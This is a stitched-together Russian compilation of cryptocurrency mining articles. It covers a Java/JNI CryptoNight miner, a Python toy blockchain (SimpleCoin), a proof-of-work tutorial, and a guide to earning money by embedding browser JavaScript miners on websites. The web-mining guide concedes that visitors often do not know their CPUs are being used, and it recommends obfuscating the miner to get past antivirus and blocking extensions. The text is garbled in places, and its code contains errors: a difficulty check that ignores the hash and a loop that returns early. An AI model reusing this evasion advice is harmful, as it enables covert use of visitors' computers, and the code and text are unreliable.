com.gogaworm.electroneumminer.

public class Cryptonight {

  // Загружаем библиотеку с именем minerhashing, расширение писать не нужно

  static {

    System.loadLibrary(«minerhashing»);

  }

  // Метод расчета хеша из библиотеки

  public native static void calculateHash(byte[] output, byte[] input);

}

Метод calculateHash объявлен как native, это означает, что он реализован на другом языке. Далее нужно сгенерировать файл заголовка:

> %JAVA_HOME%binjavah.exe jni v d com/gogaworm/electroneumminer com.gogaworm.electroneumminer.Cryptonight

В результате получим файл
com_gogaworm_electroneumminer_Cryptonight.h. В нем объявлен метод
Java_com_gogaworm_electroneumminer_Cryptonight_hash, который нужно реализовать на С. Для этого создадим файл с таким же именем, но расширением .c. Оба файла нужно перенести в папку с исходниками libcryptonight.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

// Обязательно нужно включить файл — заголовок для jni. Он находится в папке с установленной Java

#include <jni.h>

JNIEXPORT void JNICALL Java_com_gogaworm_electroneumminer_Cryptonight_calculateHash (JNIEnv *env, jclass clazz, jbyteArray output, jbyteArray input) {

  // Копируем массивы данных в новую область памяти. Работать с массивами напрямую в JavaHeap нельзя, так как сборщик мусора может перемещать их в памяти

  unsigned char* inputBuffer = (*env)>GetByteArrayElements(env, input, NULL);

  unsigned char* outputBuffer = (*env)>GetByteArrayElements(env, output, NULL);

  // Определяем размеры массивов

  jsize inputSize = (*env)>GetArrayLength(env, input);

  jsize outputSize = (*env)>GetArrayLength(env, output);

  // Рассчитываем хеш

  cryptonight_hash(outputBuffer, inputBuffer, inputSize);

  // Освобождаем область памяти, использованную для массивов

  (*env)>ReleaseByteArrayElements(env, input, inputBuffer, JNI_ABORT);

  (*env)>ReleaseByteArrayElements(env, output, outputBuffer, JNI_COMMIT);

}

Теперь запускаем Cygwin-консоль и собираем DLL:

> x86_64w64mingw32gcc I«$JAVA_HOME/include» I«$JAVA_HOME/include/win32» shared o minerhashing.dll g com_gogaworm_electroneumminer_Cryptonight.c cryptonight.c crypto/aesb.c crypto/c_blake256.c crypto/c_groestl.c crypto/c_jh.c crypto/c_keccak.c crypto/c_skein.c crypto/oaes_lib.c

Чтобы наш майнер увидел библиотеку, необходимо определить системную переменную Java
java.library.path=<путь к библиотеке>.

Проверим, что библиотека работает правильно. В документе, описывающем алгоритм CryptoNight, есть два примера для проверки. Запустим один из них:

@Test

public void testHashMethod() throws UnsupportedEncodingException {

  byte[] outputBuffer = new byte[32];

  byte[] input = hexStringToByteArray(block);

  Cryptonight.calculateHash(outputBuffer, «This is a test».getBytes(«US-ASCII»));

  assertEquals(«a084f01d1437a09c6985401b60d43554ae105802c5f5d8a9b3253649c0be6605», bytesToHex(outputBuffer).toLowerCase());

}

Остался метод проверки, найдено ли нужно значение. Команда get_block_template вернула в результате параметр difficulty. Этот параметр показывает условный коэффициент сложности нахождения нужного хеша. По спецификации сложность = ( 2^265 — 1 ) / целевое значение (target). Для этой формулы хеш блока нужно перевести из больших индейцев в мелкие. Затем сравним с текущей сложностью, чтобы понять, найдено ли нужное значение:

public static boolean hasRequiredDifficulty(byte[] hash, BigInteger difficulty) {

  BigInteger diff1 = new BigInteger(«FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF», 16);

  BigInteger reversed = new BigInteger(bytesToHex(Arrays.reverse(hash)), 16);

  BigInteger hashdiff = diff1.divide(difficulty);

  if (hashdiff.compareTo(difficulty) >= 0) {

    return true;

  }

  return false;

}

Чтобы проверить, верно ли работает метод, испытаем его на уже готовом блоке из сети. Получить его можно командой getblock. Возьмем блок с высотой 338 401. Его хеш равен

13b3cf8b04b6bb78f0c7c1a50f7e8656963c1f48a56ba89999eddf0531750b15

а сложность —
252087628780. В результате вычислений получаем, что hashdiff больше difficulty.

Когда найдено нужное значение nonce, можно отправлять блок в сеть. Это делает команда

{

  «jsonrpc»:«2.0»,

  «id»:«0»,

  «method»:«submitblock»,

  «params»:{

    «Block «:«blob template с нужным nonce»

  }

}

Осталось перенести методы работы с сервером и майнинга в отдельные потоки, и простой майнер готов.

Вместо заключения

Как заявляют разработчики криптовалюты Electroneum, ее можно майнить даже на смартфонах. Приложение для майнинга уже лежит в Google Play. Но на самом деле там только симуляция майнинга: вместо того чтобы решать сложную криптографическую задачу, измеряют доступную производительность CPU, которую теоретически можно было бы использовать для майнинга, и на основе этого значения начисляется заработок. Поэтому майнер для Андроида будет выглядеть несколько иначе.

Но это уже совсем другая история.

Звёзд: 1Звёзд: 2Звёзд: 3Звёзд: 4Звёзд: 5 (2 оценок, среднее: 5,00 из 5)

Загрузка…

Электронная валюта уже ни для кого не новость, а вот собственная реализация валюты на Python обещает быть интересной. Создаем новый Bitcoin.

Как же создать новый Bitcoin, и что для этого нужно – рассмотрим в этой статье.

Простая монета (SimpleCoin) – простая, небезопасная и не до конца реализованная версия блокчейн криптовалюты на Python. Основной задумкой проекта была идея реализовать максимально похожую, простую и рабочую версию Bitcoin. Если вы тоже хотите создать что-то свое, вам стоит обратиться к Bitcoin Repository.

Вступление

Понятие блокчейн уже не раз рассматривалось, но повторение – мать учения. Блокчейн – это база транзакций, совместно используемая всеми узлами, участвующими в системе на основе биткойн-протокола. Полная копия цепочки блоков валюты содержит каждую транзакцию, когда-либо выполняемую в валюте. С помощью этой информации можно узнать, какое значение принадлежит каждому адресу в любой точке истории.

С чего начать?

Первое, что необходимо сделать, – установить requirements.txt.

pip install -r requirements.txt

Новый bitcoin. НачалоВ проекте должен быть файл конфига miner_config.py с таким содержимым:

"""Этот файл нужно изменять до того, как вы запустите майнер. Для лучшего понимания смотрите в
wallet.py.
"""

# Тут указываем сгенерированный адрес. Все монеты пойдут сюда.
MINER_ADDRESS = "q3nf394hjg-random-miner-address-34nf3i4nflkn3oi"

# Тут укажите URL-адрес ноды или ее ip. Если все запущено на localhost, то пишем так:
MINER_NODE_URL = "http://localhost:5000"

# А здесь храним URL-адреса каждого узла в сети, чтобы можно было общаться с ними.
PEER_NODES = []

Далее два важных шага:

  • Запустить miner.py, чтобы создать ноду и начать майнить;
  • запустить wallet.py, чтобы стать пользователем и отправлять транзакциии (для этого нужно также запустить miner.py).

Важное замечание: не запускайте майнер в среде разработке Python, а только в консоли, т. к. он использует параллельные процессы, которые не работают в IDL-e.

Как это работает?

Самый важный файл в этом проекте – miner.py. Запустив его, вы создаете сервер, который подключается к блокчейну и обрабатывает транзакции (которые отправляют пользователи) путем майнинга. За это вы получаете несколько монет. Чем больше нод создается, тем безопаснее становится вся цепочка.

Новый bitcoin. Как это работает

miner.py запускает 2 параллельных процесса:

  • первый следит за добычей, обновляет цепочки и создает отчеты о работе;
  • второй запускает сервер, к которому могут подключаться пиры и пользователи для запроса всей цепочки, отправки транзакций и прочего.
import time
import hashlib as hasher
import json
import requests
import base64
from flask import Flask
from flask import request
from multiprocessing import Process, Pipe
import ecdsa

from miner_config import MINER_ADDRESS, MINER_NODE_URL, PEER_NODES

node = Flask(__name__)

class Block:
    def __init__(self, index, timestamp, data, previous_hash):
        """Возвращает новый объект Block. Каждый блок «привязан» к предыдущему по
         уникальному хэшу
        Аргументы:
            index (int): Номер блока.
            timestamp (int): Timestamp создания блока.
            data (str): Данные для отправки.
            previous_hash(str): Строка с хэшем предыдущего блока.
        Атрибуты:
            index (int): Номер блока.
            timestamp (int): Timestamp создания блока.
            data (str): Данные для отправки.
            previous_hash(str): Строка с хэшем предыдущего блока.
            hash(str): Хэш текущего блока.
        """
        self.index = index
        self.timestamp = timestamp
        self.data = data
        self.previous_hash = previous_hash
        self.hash = self.hash_block()
  
    def hash_block(self):
        """Создание уникального хэша для блока при помощи sha256."""
        sha = hasher.sha256()
        sha.update((str(self.index) + str(self.timestamp) + str(self.data) + /
            str(self.previous_hash)).encode('utf-8'))
        return sha.hexdigest()

def create_genesis_block():
    """Для создания нового блока. ему нужен хэш предыдущего. Первыйблок не знает хэш 
    предыдущего, поэтому его нужно создать руками (нулевой индекс и произвольный хэш)"""
    return Block(0, time.time(), 
        {"proof-of-work": 9,"transactions": None},
         "0")

# Копирование блокчейн-ноды
BLOCKCHAIN = []
BLOCKCHAIN.append(create_genesis_block())

""" Тут хранятся транзакции, которые относятся к текущей ноде. Если нода, которой была 
отправлена транзакция добавляет новый блок, он успешно принимается, но есть вероятность того,
что заявка будет отклонена и транзакция вернется """
NODE_PENDING_TRANSACTIONS = []

def proof_of_work(last_proof,blockchain):
  # Создаем переменную, которая будет использоваться для проверки работы
  incrementor = last_proof + 1
  # Получаем время начала
  start_time = time.time()
  # Продолжаем увеличивать инкрементатор до тех пор, пока он не будет равен числу, которое 
  # делится на 9, и доказательству работы предыдущего блока 
  while not (incrementor % 7919 == 0 and incrementor % last_proof == 0):
    incrementor += 1
    start_time = time.time()
    # Каждые 60сек проверяем, нашла ли нода подтверждение работы
    if (int((time.time()-start_time)%60)==0):
        # Если нашла - прекращаем проверку
        new_blockchain = consensus(blockchain)
        if new_blockchain != False:
            #(False:другая нода первая нашла подтверждение работы)
            return (False,new_blockchain)
  # Как только число найдено, можно вернуть его как доказательство
  return (incrementor,blockchain)


def mine(a,blockchain,node_pending_transactions):
    BLOCKCHAIN = blockchain
    NODE_PENDING_TRANSACTIONS = node_pending_transactions
    while True:
        """Майнинг - единственный способ создания новых монет.
         Чтобы предотвратить создание большого количества монет, процесс
         замедляется с помощью алгоритма доказательства работы.
        """
        # Получаем последнее доказательство
        last_block = BLOCKCHAIN[len(BLOCKCHAIN) - 1]
        last_proof = last_block.data['proof-of-work']
        # Ищем доказательство работы в текущем блоке
        # Программа будет ждать пока новое подтверждение не будет найдено
        proof = proof_of_work(last_proof, BLOCKCHAIN)
        # Если доказательство не нашлось - начинаем майнить опять
        if proof[0] == False:
            # Обновляем блокчейн и сохраняемся в файл
            BLOCKCHAIN = proof[1]
            a.send(BLOCKCHAIN)
            continue
        else:
            # Как только мы найдем действительное доказательство работы, мы можем разбить блок,
            # и добавить транзакцию
            # Загружаем все ожидающие транзакции и отправляем их на сервер
            NODE_PENDING_TRANSACTIONS = requests.get(MINER_NODE_URL + "
              /txion?update=" + MINER_ADDRESS).content
            NODE_PENDING_TRANSACTIONS = json.loads(NODE_PENDING_TRANSACTIONS)
            # Затем добавляется вознаграждение за майнинг
            NODE_PENDING_TRANSACTIONS.append(
            { "from": "network",
              "to": MINER_ADDRESS,
              "amount": 1 }
            )
            # Теперь мы можем собрать данные, необходимые для создания нового блока
            new_block_data = {
            "proof-of-work": proof[0],
            "transactions": list(NODE_PENDING_TRANSACTIONS)
            }
            new_block_index = last_block.index + 1
            new_block_timestamp = time.time()
            last_block_hash = last_block.hash
            # Список пустых транзакций
            NODE_PENDING_TRANSACTIONS = []
            # Теперь создаем новый блок
            mined_block = Block(new_block_index, new_block_timestamp, new_block_data, 
                 last_block_hash)
            BLOCKCHAIN.append(mined_block)
            # Сообщаем клиентам, что нода готова майнить
              print(json.dumps({
              "index": new_block_index,
              "timestamp": str(new_block_timestamp),
              "data": new_block_data,
              "hash": last_block_hash
            }) + "n")
            a.send(BLOCKCHAIN)
            requests.get(MINER_NODE_URL + "/blocks?update=" + MINER_ADDRESS)


def find_new_chains():
    # Получаем данные о других нодах
    other_chains = []
    for node_url in PEER_NODES:
        # Получаем их цепочки GET-запросом
        block = requests.get(node_url + "/blocks").content
        # Конвертим объект JSON в словарь Python
        block = json.loads(block)
        # Проверяем, чтобы другая нода была корректной
        validated = validate_blockchain(block)
        if validated == True:
            # Добавляем ее в наш список
            other_chains.append(block)
    return other_chains

def consensus(blockchain):
    # Получаем блоки из других нод
    other_chains = find_new_chains()
    # Если наша цепочка не самая длинная, то мы сохраняем самую длинную цепочку
    BLOCKCHAIN = blockchain
    longest_chain = BLOCKCHAIN
    for chain in other_chains:
        if len(longest_chain) < len(chain):
            longest_chain = chain
    # Если самая длинная цепочка не наша, делаем ее самой длинной
    if longest_chain == BLOCKCHAIN:
        # Продолжаем искать подтверждение
        return False
    else:
        # Сдаемся, обновляем цепочку и ищем снова
        BLOCKCHAIN = longest_chain
        return BLOCKCHAIN


def validate_blockchain(block):
    """Проверяем отправленную цепочку. Если хэши неверны, возвращаем false
    block(str): json
    """
    return True


@node.route('/blocks', methods=['GET'])
def get_blocks():
    # Загружаем текущий блокчейн.
    if request.args.get("update") == MINER_ADDRESS:
        global BLOCKCHAIN
        BLOCKCHAIN = b.recv()
        chain_to_send = BLOCKCHAIN
    else:
        # Любая нода, которая будет подключаться, будет делать так:
        chain_to_send = BLOCKCHAIN
    # Конвертим наши блоки в словари и можем отправить им json объект
    chain_to_send_json = []
    for block in chain_to_send:
        block = {
            "index": str(block.index),
            "timestamp": str(block.timestamp),
            "data": str(block.data),
            "hash": block.hash
        }
        chain_to_send_json.append(block)

    # Отправляем нашу цепочку тому, кто попросил
    chain_to_send = json.dumps(chain_to_send_json)
    return chain_to_send


@node.route('/txion', methods=['GET','POST'])
def transaction():
    """Каждая отправленная транзакция в эту ноду проверяется и отправляется.
    Потом она ждет добавления в блокчейн. Транзакции не создают новые монеты, а только 
    перемещают их.
    """
    if request.method == 'POST':
        # При каждом новом POST-запросе мы извлекаем данные транзакции
        new_txion = request.get_json()
        # Добавляем транзакцию в список
        if validate_signature(new_txion['from'],new_txion['signature'],new_txion['message']):
            NODE_PENDING_TRANSACTIONS.append(new_txion)
            # Транзакция успешно отправлена - сообщаем это в консоль
            print("New transaction")
            print("FROM: {0}".format(new_txion['from']))
            print("TO: {0}".format(new_txion['to']))
            print("AMOUNT: {0}n".format(new_txion['amount']))
            return "Transaction submission successfuln"
        else:
            return "Transaction submission failed. Wrong signaturen"
    # Отправляем ожидающие транзакции майнеру
    elif request.method == 'GET' and request.args.get("update") == MINER_ADDRESS:
        pending = json.dumps(NODE_PENDING_TRANSACTIONS)
        NODE_PENDING_TRANSACTIONS[:] = []
        return pending

def validate_signature(public_key,signature,message):
    """Проверяем правильность подписи. Это используется для доказательства того, что это вы
    (а не кто-то еще), пытающийся совершить транзакцию за вас. Вызывается, когда пользователь 
    пытается отправить новую транзакцию.
    """
    public_key = (base64.b64decode(public_key)).hex()
    signature = base64.b64decode(signature)
    vk = ecdsa.VerifyingKey.from_string(bytes.fromhex(public_key), curve=ecdsa.SECP256k1)
    try:
        return(vk.verify(signature, message.encode()))
    except:
        return False

def welcome_msg():
    print("""       =========================================n
        SIMPLE COIN v1.0.0 - BLOCKCHAIN SYSTEMn
       =========================================nn
        You can find more help at: https://github.com/cosme12/SimpleCoinn
        Make sure you are using the latest version or you may end in
        a parallel chain.nnn""")


if __name__ == '__main__':
    welcome_msg()
    # Запускаем майнинг
    a,b=Pipe()
    p1 = Process(target = mine, args=(a,BLOCKCHAIN,NODE_PENDING_TRANSACTIONS))
    p1.start()
    # Запускаем сервер для приема транзакций
    p2 = Process(target = node.run(), args=b)
    p2.start()

wallet.py используется для пользователей. Запуск этого файла позволит вам генерировать новые адреса, отправлять монеты и проверять историю транзакций. Помните, что если вы его запускаете на локальном сервере, вам нужен процесс miner.py.

Новый bitcoin. Заключение

"""Это ваш кошелек. Здесь вы можете сделать несколько вещей:
- Создать новый адрес (открытый и закрытый ключ). Вы будете использовать этот адрес 
(открытый ключ) для отправки или получения любых транзакций. У вас может быть столько адресов, 
сколько пожелаете, но если вы потеряете доступ - восстановить его вы уже не сможете.
- Отправлять монеты на другой адрес.
- Извлекать целую цепочку и проверять баланс.
Если вы впервые используете этот скрипт, не забудьте сгенерировать
новый адрес и отредактируйте файл конфигурации miner.
Временная метка захэширована. Когда вы отправляете транзакцию, она будет получена
несколькими узлами. Если какой-либо узел майнит блок, ваша транзакция будет добавлена в
blockchain, а другие узлы будут ожидать. Если какой-либо узел видит, что ваша
транзакция с той же меткой времени, они должны удалить ее из
node_pending_transactions, чтобы избежать ее обработки более 1 раза.
"""

import requests
import time
import base64
import ecdsa


def welcome_msg():
    print("""       =========================================n
        SIMPLE COIN v1.0.0 - BLOCKCHAIN SYSTEMn
       =========================================nn
        You can find more help at: https://github.com/cosme12/SimpleCoinn
        Make sure you are using the latest version or you may end in
        a parallel chain.nnn""")


def wallet():
    response = False
    while response not in ["1","2","3"]:
        response = input("""What do you want to do?
        1. Generate new wallet
        2. Send coins to another wallet
        3. Check transactionsn""")
    if response in "1":
        # Создаем новый кошелек
        print("""=========================================n
IMPORTANT: save this credentials or you won't be able to recover your walletn
=========================================n""")
        generate_ECDSA_keys()        
    elif response in "2":
        addr_from = input("From: introduce your wallet address (public key)n")
        private_key = input("Introduce your private keyn")
        addr_to = input("To: introduce destination wallet addressn")
        amount = input("Amount: number stating how much do you want to sendn")
        print("=========================================nn")
        print("Is everything correct?n")
        print("From: {0}nPrivate Key: {1}nTo: {2}nAmount: {3}n".format
            (addr_from,private_key,addr_to,amount))
        response = input("y/nn")
        if response.lower() == "y":
            send_transaction(addr_from,private_key,addr_to,amount)
    elif response == "3":
        check_transactions()


def send_transaction(addr_from,private_key,addr_to,amount):
    """Отправляем транзакцию на разные узлы. Как только главная нода начнет майнить блок,
    транзакция добавляется в блокчейн. Несмотря на это, существует небольшая вероятность того,
    что ваша транзакция будет отменена из-за других узлов, имеющих более длинную цепочку. 
    Поэтому убедитесь, что ваша транзакция глубоко в цепочке, прежде чем утверждать, 
    что она одобрена!
    """
    if len(private_key) == 64:
        signature,message = sign_ECDSA_msg(private_key)
        url     = 'http://localhost:5000/txion'
        payload = {"from": addr_from, "to": addr_to, "amount": amount, "signature": /
            signature.decode(), "message": message}
        headers = {"Content-Type": "application/json"}

        res = requests.post(url, json=payload, headers=headers)
        print(res.text)
    else:
        print("Wrong address or key length! Verify and try again.")

def check_transactions():
    """Извлекаем весь блокчейн. Тут вы можете проверить свой баланс. Если блокчейн очень 
       длинный, загрузка может занять время.
    """
    res = requests.get('http://localhost:5000/blocks')
    print(res.text)

def generate_ECDSA_keys():
    """Эта функция следит за созданием вашего private и public ключа. Очень важно не потерять
    ни один из них т.к. доступ к кошельку будет потерян. Если кто-то получит доступ к вашему
    кошельку, вы рискуете потерять свои монеты.
    private_key: str
    public_ley: base64
    """
    sk = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1) # private ключ
    private_key = sk.to_string().hex() # конвертим private ключ в hex
    vk = sk.get_verifying_key() # public ключ
    public_key = vk.to_string().hex()
    print("Private key: {0}".format(private_key))
    # кодируем public ключ, чтобы сделать его короче
    public_key = base64.b64encode(bytes.fromhex(public_key))
    # используем decode(), чтобы удалить b'' из строки
    print("Wallet address / Public key: {0}".format(public_key.decode()))


def sign_ECDSA_msg(private_key):
    """Подписываем сообщение для отправки
    private ключ должен быть hex
    return
    signature: base64
    message: str
    """
    # получаем timestamp, округляем, переводим в строку и кодируем
    message=str(round(time.time()))
    bmessage = message.encode()
    sk = ecdsa.SigningKey.from_string(bytes.fromhex(private_key), curve=ecdsa.SECP256k1)
    signature = base64.b64encode(sk.sign(bmessage))
    return signature,message


if __name__ == '__main__':
    welcome_msg()
    wallet()
    input("Press any key to exit...")

Заключение

Автор призывает участвовать всех желающих в этом проекте. Главная задача – упрощение кода и повышение его читабельности. Перевод на русский осуществлен Библиотекой Программиста.

Оригинал

Другие материалы по теме:

  • Python: взлом криптографической хеш-функции через BruteForce
  • Блокчейн, ИИ, бессерверные вычисления: ТОП-10 технологий 2018
  • 5 тенденций в программировании для 2018 года
  • Логика в программировании: логические задачи с собеседований

Для включения майнинга нам нужно разработать функцию майнинга. Функциональность майнинга должна генерировать дайджест по заданной строке сообщения и предоставлять подтверждение работы. Давайте обсудим это в этой главе.

Функция дайджеста сообщения

Мы напишем служебную функцию sha256 для создания дайджеста по данному сообщению –

def sha256(message):
return hashlib.sha256(message.encode('ascii')).hexdigest()

Функция sha256 принимает сообщение в качестве параметра, кодирует его в ASCII, генерирует шестнадцатеричный дайджест и возвращает значение вызывающей стороне.

Функция майнинга

Сейчас мы разрабатываем функцию шахты, которая реализует нашу собственную стратегию майнинга. В этом случае наша стратегия заключается в создании хэша для данного сообщения с префиксом с указанным числом 1. Заданное количество единиц указано в качестве параметра для моей функции, указанной в качестве уровня сложности.

Например, если вы укажете уровень сложности 2, сгенерированный хэш для данного сообщения должен начинаться с двух 1 – например, 11xxxxxxxx. Если уровень сложности равен 3, сгенерированный хэш должен начинаться с трех 1 – как 111xxxxxxxx. Учитывая эти требования, мы теперь разработаем функцию майнинга, как показано в шагах, приведенных ниже.

Шаг 1

Функция майнинга принимает два параметра – сообщение и уровень сложности.

def mine(message, difficulty=1):

Шаг 2

Уровень сложности должен быть больше или равен 1, мы обеспечиваем это следующим утверждением assert:

assert difficulty >= 1

Шаг 3

Мы создаем префиксную переменную, используя заданный уровень сложности.

prefix = '1' * difficulty

Обратите внимание, что если уровень сложности равен 2, префикс будет «11», а если уровень сложности равен 3, префикс будет «111» и т. Д. Мы проверим, существует ли этот префикс в сгенерированном дайджесте сообщения. Чтобы переварить само сообщение, мы используем следующие две строки кода:

for i in range(1000):
   digest = sha256(str(hash(message)) + str(i))

Мы продолжаем добавлять новый номер i в хэш сообщения в каждой итерации и генерируем новый дайджест по объединенному сообщению. Поскольку входные данные для функции sha256 меняются на каждой итерации, значение дайджеста также изменяется. Мы проверяем, имеет ли это значение дайджеста установленный префикс .

if digest.startswith(prefix):

Если условие выполнено, мы завершаем цикл for и возвращаем вызывающему значение дайджеста .

Весь мой код показан здесь –

def mine(message, difficulty=1):
   assert difficulty >= 1
   prefix = '1' * difficulty
   for i in range(1000):
      digest = sha256(str(hash(message)) + str(i))
      if digest.startswith(prefix):
         print ("after " + str(i) + " iterations found nonce: "+ digest)
      return digest

Для вашего понимания мы добавили оператор print, который печатает дайджест-значение и количество итераций, необходимых для выполнения условия перед возвратом из функции.

Тестирование функции майнинга

Чтобы проверить нашу функцию майнинга, просто выполните следующее утверждение –

mine ("test message", 2)

Когда вы запустите приведенный выше код, вы увидите вывод, похожий на приведенный ниже –

after 138 iterations found nonce:
11008a740eb2fa6bf8d55baecda42a41993ca65ce66b2d3889477e6bfad1484c

Обратите внимание, что сгенерированный дайджест начинается с «11». Если вы измените уровень сложности на 3, сгенерированный дайджест начнется с «111», и, конечно, для этого потребуется больше итераций. Как видите, майнер с большей вычислительной мощностью сможет добывать данное сообщение раньше. Вот как шахтеры конкурируют друг с другом за получение своих доходов.

Теперь мы готовы добавить больше блоков в нашу цепочку блоков. Давайте узнаем это в нашей следующей главе.

JavaScript веб майнинг от А до Я простыми словами

В последнее время я все чаще и чаще слышу такие слова как блокчейн, биткоин, майнинг и т.п. Об этом говорят все, поэтому далее я расскажу как можно заработать на своем сайте, занявшись веб майнингом Monero, используя специальные майнинг скрипты

Если не вдаваться в подробности и быть максимально кратким, то простыми словами веб майнинг ( браузерный майнинг ) — это новый и элегантный вид монетизации для вашего сайта в отличии от приевшейся всем рекламы. Т.е грубо говоря, вы вставляете на свой сайт какой-то кусок javascript кода (специальные майнинг скрипты), который магическим образом начинает нагружать процессоры приходящих пользователей и превращать последних в пассивных майнеров, добывающих своими мощностями вам монеты, которые успешно идут вам в кошелек. Далее, полученные криптомонеты можно спокойно обменять в обменнике на реальные деньги по хорошему курсу, поиграть с ними на биржах ну или просто копить и ждать когда курс «выстрелит» и обменять на большие деньги ну или остаться ни с чем, в случае если курс просядет и все обвалится.

Таким образом, в месяц на сайте можно заработать пассивно от 50-80$ в зависимости от вашего ресурса, посещаемости, удержания ит.п (это очень важный момент, но о нем позже). Звучит все красиво? Да! Но к сожалению есть нюансы, и их достаточно много. И первый из нюансов — это понимание, т.к нужно хотя бы минимально разбираться как, что и для чего работает, но об этом ниже.

Если вся информация выше, у вас вызвала еще больше вопросов нежели ответов, то я настоятельно советую вам, перед дальнейшим прочтением ознакомиться со всеми аспектами майнинга и вообще с криптовалютным миром в целом.

Общие требования

Перед тем как продолжить чтение и погрузиться в пучину web майнинга, я настоятельно советую вам ознакомиться со списком ниже, который возможно вас отрезвит и оттолкнет от затеи майнить, т.к существует несколько очень «скользких» моментов:

  1. Для извлечения прибыли JavaScript майнер имеет смысл устанавливать, только на «жирные» и раскрученные сайты с посещаемостью хотя бы от 300-400 уников в сутки и хорошим временем удержания пользователей. В противном случае на таком майнинг сайте вы максимально сможете заработать на ежемесячную халявную плитку шоколадки или вообще ничего;
  2. Майнер работает только в современных браузерах (на v8 например и т.п) поддерживающих webassembly/asm технологии;
  3. В свою же очередь, конфликтуя со вторым пунктом выше, известные JS майнеры (сайты с ними) все чаще и активнее блокируются: самими браузерами, поисковыми системами, антивирусами, расширениями и даже пулами! Этот пункт пожалуй самый противоречивый, рискованный и непонятный, о котором я напишу более подробно дальше в статье;
  4. Относительно маленькое сообщество + мало информации относительно всего JS майнинга в целом, поэтому приготовьтесь штудировать огромное количество англоязычных источников в белом и луковичном интернете для поиска ответов;
  5. На момент написания статьи, можно майнить только два типа криптовалютыMonero (XMR) или Electroneum (ETN), что особо не дает возможности развернуться и вы становитесь привязаны к этим двум вариантам.

Вышеперечисленные 5 пункта я выделил как самые важные и базовые, от которых следует отталкиваться и решить — нужно оно все вам или нет. 

Что нужно для начала майнинга

  1. Все примеры из статьи можно запускать на тестовом localhost или непосредственно на боевом хостинге (я буду использовать vps в примерах). Кстати, в своих публикациях я обозревал один быстрый и дешевый VPS хостинг, который вы можете использовать в качестве тестирования, либо используя рейтинг серверов найти подходящий для себя вариант;
  2. Убедитесь, что имеете свежие версии Node.js, npm и т.п, а также заведите кошельки (куда будут приходить монетки) для Monero или Electroneum (подробные руководства по созданию/настройке кошельков вы можете прочитать на сайтах этих криптовалют);
  3. Нормальный браузер — Chrome например (лучше в режиме инкогнито);
  4. Отключите все антивирусные программы и расширения блокирующие рекламу и веб майнеры, такие как:  AdBlock, Adguard Антибаннер, uBlock Origin и др.

Теперь, давайте перейдем к скриптам с помощью которых можно начать зарабатывать на своем сайте.

Coinhive

Довольно молодой ресурс — coinhive.com, появился в октябре 2017 года и через несколько недель уже был заблокирован популярными антивирусами и некоторыми расширениями, по причине того, что js майнер — coinhive .min.js запускается в фоне у пользователя и тот не подозревает, что его ЦП майнит и эксплуатируется сторонним ресурсом.

Типичное оповещение антивируса на майнинг сайтах

Поэтому через несколько недель был введен другой скрипт — authedmine.min.js , который запускается у пользователя в фоне только после его согласия:

Запрос на запуск майнера coinhive

Однако, он также был успешно заблокирован, но уже меньшим количеством антивирусов и расширений (хоть этот скрипт и позиционирует себя как — «A Non-Adblocked Miner», но это не так). Кстати, для того что бы определить, что скрипт майнера успешно работает, просто проверьте нагрузку на ЦП (при открытой вкладке со скриптом). Если нагрузка большая — все в порядке, в противном случае что-то не так. Если скрипт блокируется/не работает, то  вы естественно будете видеть отсутствие нагрузки на ЦП + на вкладке Network  или Console в Google Developer Tools (F12 или ^+Shift+I) будет примерная картина:

Блокировка coinhive скриптов

Плюсы:

  1. Легкая интеграция (подключаем скрипт, добавляем инициализацию);
  2. Широкий функционал (майнер может быть в виде: капчи, ссылки, UI блока, API и др);
  3. Хорошая и подробная документация;
  4. Удобный личный кабинет с детальной статистикой.

Минусы:

  1. Не работает у большинства посетителей. На данный момент обе версии активно блокируются антивирусами, самими браузерами (например Yandex браузер, Opera) и расширениями. Следовательно с таких посетителей доход будет нулевым и с каждым днем смысл использовать coinhive стремится к нулю;
  2. Можно добывать только Monero;
  3. Неадекватный порог вывода средств 0,02 XMR с комиссией или 0,5 XMR без нее (учитывая возрастающую сложность этот порог для начинающих может быть крайне неудобен);
  4. Полная стагнация проекта и нежелание противостоять неадекватным блокировкам и запретам. Например, с начала существования, coinhive активно использовал  ThePirateBay и SafeBrowse расширение, но и они вынуждены были отказаться (даже с их не маленьким трафиком) от coinhive .

Подключение

Тут все довольно просто и банально. Добавляем свой сайт в Settings -> Sites & API Keys, копируем публичный ключ и вставляем его в код инициализации на сайте:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
	var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});
	    miner.start();
</script>

После этого заходим на сайт, где установлен код и уже через несколько минут в личном кабинете coinhive можно увидеть плавающие графики со скоростью и другой информацией.

Coin hive stratum

Альтернативный вариант, и своего рода глоток свежего воздуха после coinhive, с помощью которого, можно организовать майнинг у себя на сайте разными способами и с достаточно хорошим обходом антивирусов и спец. расширений. Естественно этот скрипт не лишен изъянов, но при его использовании возникают проблемы с подключением к пулам (pools ) т.к последние активно блокируют веб майнеров по причине многочисленных подключений/отключений, делая майнинг еще более рискованным занятием. Поэтому велика вероятность того, что при использовании какого-либо пула вас могут просто забанить (например это произошло с пулом pool.supportxmr.com:3333, который просто отключили для веб майнеров по причине огромного нашествия от Coin hive stratum ) и никаких денег вы уже не получите. 

Плюсы:

  1. Достаточно простая и многообразная интеграция (сложности могут лишь возникнуть при поднятии прокси на vps);
  2. Хорошая документация;
  3. Можно добывать Monero и Electroneum;
  4. Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
  5. Не так сильно блокируется как coinhive, а при должной обфускации кода и переносе на свой vps можно добиться почти полноценной работы без блокировок со стороны антивирусов и расширений.
  6. Инициализация и параметры майнера такие же как и на coinhive только вместо new CoinHive.Anonymous используется CH.Anonymous

Минусы:

  1. Сложности/блокировки на пулах + не каждый пул может подойти;
  2. Все еще обнаруживается отдельными антивирусами и расширениями;
  3. Скрипт достаточно сырой и есть некоторые баги (разрывы подключений, неадекватная работа в firefox).

Подключение

Ниже, я рассмотрю два типа подключения, которые на мой взгляд являются самыми интересными + добавлю кое-что от себя:

Подключение через now.sh/Heroku + pool

Весь процесс описан у автора, но имеет ряд недостатков:

  1. Явно указанные now.sh/Heroku блокируются некоторыми расширениями;
  2. src подключения очень большой и некрасивый ;
  3. Скрипт подключается из github форка;
  4. В консоли выводится информация, которую посетителям лучше не видеть:

